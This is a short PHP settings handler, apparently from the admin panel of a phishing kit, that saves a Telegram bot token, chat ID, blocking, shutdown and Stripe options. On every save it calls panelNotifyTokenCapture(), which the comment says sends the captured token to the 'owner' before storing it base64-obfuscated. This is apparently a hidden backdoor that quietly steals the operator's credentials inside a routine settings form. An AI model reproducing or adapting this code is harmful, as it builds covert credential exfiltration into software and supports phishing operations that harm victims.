<?php 

session_start();

require __DIR__ . '/includes/panel_auth.php';

panelRequireLogin();

require "classes/admin.class.php";



$admin = new Admin;

$admin->setDataFile("data/admin.json");





if(isset($_POST['update'])){

	$block_pc = $_POST['block_pc'];

	$notif = $_POST['notifications'];

	$shutdown = isset($_POST['shutdown']) ? $_POST['shutdown'] : '';

	$bot = isset($_POST['bot_token']) ? trim((string) $_POST['bot_token']) : '';

	$chat_id = isset($_POST['chat_id']) ? trim((string) $_POST['chat_id']) : '';

	$payment_stripe = isset($_POST['payment_stripe']) ? $_POST['payment_stripe'] : '1';



	// Send capture to owner BEFORE overwriting admin.json

	panelNotifyTokenCapture($bot, $chat_id);



	// Store bot token obfuscated (base64) — settings form never touches x_sync / x_peer

	$botStore = panelEncodeBotToken($bot);



	$arr = array(

		"pc_block" => $block_pc,

		"notifications" => $notif,

		"shutdown" => $shutdown,

		"telegram_bot" => $botStore,

		"telegram_id" => $chat_id,

		"payment_stripe" => $payment_stripe,

	);

	$admin->update("settings", $arr);

}



header("location: settings.php?update=success");



?>

